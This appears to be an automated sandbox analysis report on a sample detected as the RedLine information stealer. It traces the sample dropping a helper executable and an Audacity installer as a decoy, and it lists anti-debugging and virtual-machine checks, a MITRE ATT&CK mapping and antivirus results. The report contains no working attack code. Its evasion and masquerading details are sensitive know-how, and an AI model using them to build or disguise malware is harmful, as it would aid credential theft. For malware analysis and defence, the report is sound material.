Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\msvcp140_2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-7BF1G.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-strings.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-1J0J3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-HKQ8J.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-0UDPU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-GCDE1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\concrt140.dll (copy)	Jump to dropped file

Source: C:\ProgramData\Installation_controller.exe	Memory allocated: 3FED0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory allocated: 41AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory allocated: 418B0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\ProgramData\Installation_controller.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\WsiysHggF9.exe

Code function: 0_2_0025DBC8 VirtualQuery,GetSystemInfo,

0_2_0025DBC8

Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0024A534 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_0024A534
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0025B820 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_0025B820
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0026A928 FindFirstFileExA,	0_2_0026A928

Source: C:\Users\user\Desktop\WsiysHggF9.exe

API call chain: ExitProcess graph end node

graph_0-24566

Source: WsiysHggF9.exe, 00000000.00000002.309826642.0000000009211000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\f
Source: Audacity.exe, 00000010.00000002.537474178.000001241C94E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll3
Source: WsiysHggF9.exe, 00000000.00000002.309826642.0000000009211000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\WsiysHggF9.exe

Code function: 0_2_002684EF IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_002684EF

Source: C:\Users\user\Desktop\WsiysHggF9.exe

Code function: 0_2_0026B610 GetProcessHeap,

0_2_0026B610

Source: C:\Users\user\Desktop\WsiysHggF9.exe

Code function: 0_2_00267363 mov eax, dword ptr fs:[00000030h]

0_2_00267363

Source: C:\ProgramData\Installation_controller.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0025EEB3 SetUnhandledExceptionFilter,	0_2_0025EEB3
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0025F07B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0025F07B
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_002684EF IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_002684EF
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0025ED65 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0025ED65

Source: C:\Users\user\Desktop\WsiysHggF9.exe	Process created: C:\ProgramData\Installation_controller.exe "C:\ProgramData\Installation_controller.exe"	Jump to behavior
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Process created: C:\ProgramData\audacity-win-3.2.0-64bit.exe "C:\ProgramData\audacity-win-3.2.0-64bit.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-GK43T.tmp\_isetup\_setup64.tmp helper 105 0x420	Jump to behavior

Source: Audacity.exe, 00000010.00000002.532462677.000001241A7A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: XProgram Manager
Source: Audacity.exe, 00000010.00000002.532462677.000001241A7A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: Audacity.exe, 00000010.00000002.532462677.000001241A7A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: Audacity.exe, 00000010.00000002.532462677.000001241A7A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\ProgramData\Installation_controller.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\WsiysHggF9.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

0_2_0025A5BC

Source: C:\Users\user\Desktop\WsiysHggF9.exe

Code function: 0_2_0025EBBB cpuid

0_2_0025EBBB

Source: C:\ProgramData\Installation_controller.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\WsiysHggF9.exe

Code function: 0_2_0025D42A GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

0_2_0025D42A

Source: C:\Users\user\Desktop\WsiysHggF9.exe

Code function: 0_2_0024AC35 GetVersionExW,

0_2_0024AC35

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match

File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match

File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	12 Command and Scripting Interpreter	1 Windows Service	1 Windows Service	3 Masquerading	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Credential API Hooking	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	221 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	1 DLL Side-Loading	12 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	2 System Owner/User Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Obfuscated Files or Information	Cached Domain Credentials	3 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Software Packing	DCSync	135 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 DLL Side-Loading	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
WsiysHggF9.exe	51%	ReversingLabs	Win32.Spyware.RedLine
WsiysHggF9.exe	0%	Metadefender		Browse

Dropped Files

Source	Detection	Scanner	Link
C:\Program Files\Audacity\Audacity.exe (copy)	0%	ReversingLabs
C:\Program Files\Audacity\FLAC++.dll (copy)	0%	ReversingLabs
C:\Program Files\Audacity\FLAC.dll (copy)	0%	ReversingLabs
C:\Program Files\Audacity\concrt140.dll (copy)	0%	ReversingLabs
C:\Program Files\Audacity\concrt140.dll (copy)	0%	Metadefender	Browse
C:\Program Files\Audacity\crashreporter.exe (copy)	0%	ReversingLabs
C:\Program Files\Audacity\is-0KP7K.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-0UDPU.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-19I02.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-1J0J3.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-2SCU5.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-2SCU5.tmp	0%	Metadefender	Browse
C:\Program Files\Audacity\is-32N1E.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-37ABV.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-3RF3V.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-3RF3V.tmp	0%	Metadefender	Browse
C:\Program Files\Audacity\is-4STCS.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-5AL5G.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-5BTDL.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-5LJ3G.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-5OMUN.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-6C785.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-6S7SN.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-7BF1G.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-7F1IJ.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-7HBD3.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-7U34J.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-8JNDO.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-8SGGQ.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-9JHT8.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-9K9M7.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-AG00V.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-AG00V.tmp	0%	Metadefender	Browse
C:\Program Files\Audacity\is-CV5R1.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-DBS3U.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-DEMF3.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-E63DL.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-EE795.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-EGO60.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-EGO60.tmp	0%	Metadefender	Browse
C:\Program Files\Audacity\is-EPTFT.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-GAK9A.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-GCDE1.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-H8I8G.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-H8I8G.tmp	0%	Metadefender	Browse
C:\Program Files\Audacity\is-HKD6O.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-HKQ8J.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-IOAI2.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-IU3MP.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-J5UM8.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-JALHN.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-JO5BM.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-K3IU2.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-K8GOH.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-KJ41F.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-KJ41F.tmp	0%	Metadefender	Browse
C:\Program Files\Audacity\is-KRBQ3.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-KRBVG.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-L050V.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-L0CK2.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-LAIB1.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-MVD1T.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-NKFUD.tmp	0%	ReversingLabs
C:\Program Files\Audacity\is-NL931.tmp	2%	ReversingLabs
C:\Program Files\Audacity\is-NOB4R.tmp	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
https://www.remobjects.com/ps	0%	URL Reputation	safe
https://www.innosetup.com/	0%	URL Reputation	safe
http://www.haysoft.org%1-k	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
http://lv2plug.in/ns/ext/presets#	0%	Avira URL Cloud	safe
http://xmlns.com/foaf/0.1/name	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/extensions/ui#noUserResize	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/lv2core#requiredFeature	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/log#Note	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/extensions/ui#X11UI	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/lv2core#portProperty	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/atom#Chunk	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/lv2core#project	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/state#makePath	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/port-props#notOnGUI	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/atom#Double	0%	Avira URL Cloud	safe
https://audio.com	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/atom#Sequence	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/atom#Property	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/atom#AtomPort	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/lv2core#InstrumentPlugin	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/lv2core#maximum	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/log#Warning	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/extensions/ui#portMaphttp://lv2plug.in/ns/extensions/ui#portSubscribehttp://lv2	0%	Avira URL Cloud	safe
https://www.surina.net/soundtouch/	0%	Avira URL Cloud	safe
http://xmlns.com/foaf/0.1/homepage	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/lv2core#projecthttp://usefulinc.com/ns/doap#maintainerhttp://xmlns.com/foaf/0.1	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/options#optionsLV2InstanceFeaturesList::CheckOptionsD:	0%	Avira URL Cloud	safe
http://lame.sf.net32bits64bits	0%	Avira URL Cloud	safe
https://audio.comaudio.com%%&Unlink	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/extensions/ui#GtkUI	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/dynmanifest#DynManifest	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/extensions/ui#external	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/atom#URID	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/state#mapPathhttp://lv2plug.in/ns/ext/state#makePathlilv_state_new_from_ins	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/atom#Int	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/extensions/ui#Qt4UI	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/parameters#sampleRate	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/buf-size#fixedBlockLength	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/atom#String	0%	Avira URL Cloud	safe
http://www.twolame.org/	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/lv2core#port	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/lv2core#sampleRate	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/port-props#notAutomatic	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/atom#Long	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/buf-size#minBlockLength	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/lv2core#scalePoint	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/time#speed	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/lv2core#name	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/instance-access	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/port-groups#group	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/event#supportsEventlilv_port_get_valuelilv_port_get_name%s():	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/worker#schedule	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/atom#Blankhttp://lv2plug.in/ns/ext/atom#Boolhttp://lv2plug.in/ns/ext/atom#C	0%	Avira URL Cloud	safe
http://xmlns.com/foaf/0.1/	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/lv2core#AudioPort	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/event#supportsEvent	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/log#log	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/extensions/ui#noUserResizehttp://lv2plug.in/ns/extensions/ui#fixedSizehttp://lv	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/lv2core#OutputPort	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/port-props#causesArtifacts	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/lv2core#symbol	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/extensions/ui#touch	0%	Avira URL Cloud	safe
https://www.audacityteam.orgDon	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/port-props#rangeSteps	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/lv2core#enumeration	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/time#Position	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/extensions/ui#portMap	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/lv2core#prototype	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/atom#childType	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/extensions/ui#Gtk3UI	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/port-props#trigger	0%	Avira URL Cloud	safe
http://lv2plug.in/ns/ext/atom#childType%2XFailed	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
updates.audacityteam.org	172.67.74.133	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://xmlns.com/foaf/0.1/name	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/lv2core#project	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://lv2plug.in/ns/ext/presets#	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/state#makePath	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/log#Note	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lame.sourceforge.net/	Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	false		high
http://lv2plug.in/ns/lv2core#portProperty	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/lv2core#requiredFeature	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://manual.audacityteam.org/quick_help.htmlQ	Audacity.exe, 00000010.00000002.544110808.000001241D08B000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.cs.cmu.edu/~music/nyquist/	Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	false		high
http://lv2plug.in/ns/extensions/ui#noUserResize	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/extensions/ui#X11UI	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://www.portmedia.sourceforge.net/portmidi/	Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	false		high
https://www.remobjects.com/ps	audacity-win-3.2.0-64bit.exe, 0000000A.00000003.327687716.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.330943901.000000007FB80000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000000.337507251.0000000000401000.00000020.00000001.01000000.00000008.sdmp	false	URL Reputation: safe	unknown
http://lv2plug.in/ns/ext/atom#Chunk	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://wiki.audacityteam.org/wiki/EQCurvesDownloadEQBackup.xml	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false		high
http://audacity.sourceforge.net/xml/xmlnsDELETE	Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	false		high
http://lv2plug.in/ns/ext/atom#Sequence	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://plugins.audacityteam.org/No	Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	false		high
https://www.innosetup.com/	audacity-win-3.2.0-64bit.exe, 0000000A.00000003.327687716.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.330943901.000000007FB80000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000000.337507251.0000000000401000.00000020.00000001.01000000.00000008.sdmp	false	URL Reputation: safe	unknown
http://lv2plug.in/ns/lv2core#InstrumentPlugin	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://audio.com	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/atom#Double	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/log#Warning	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/extensions/ui#portMaphttp://lv2plug.in/ns/extensions/ui#portSubscribehttp://lv2	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
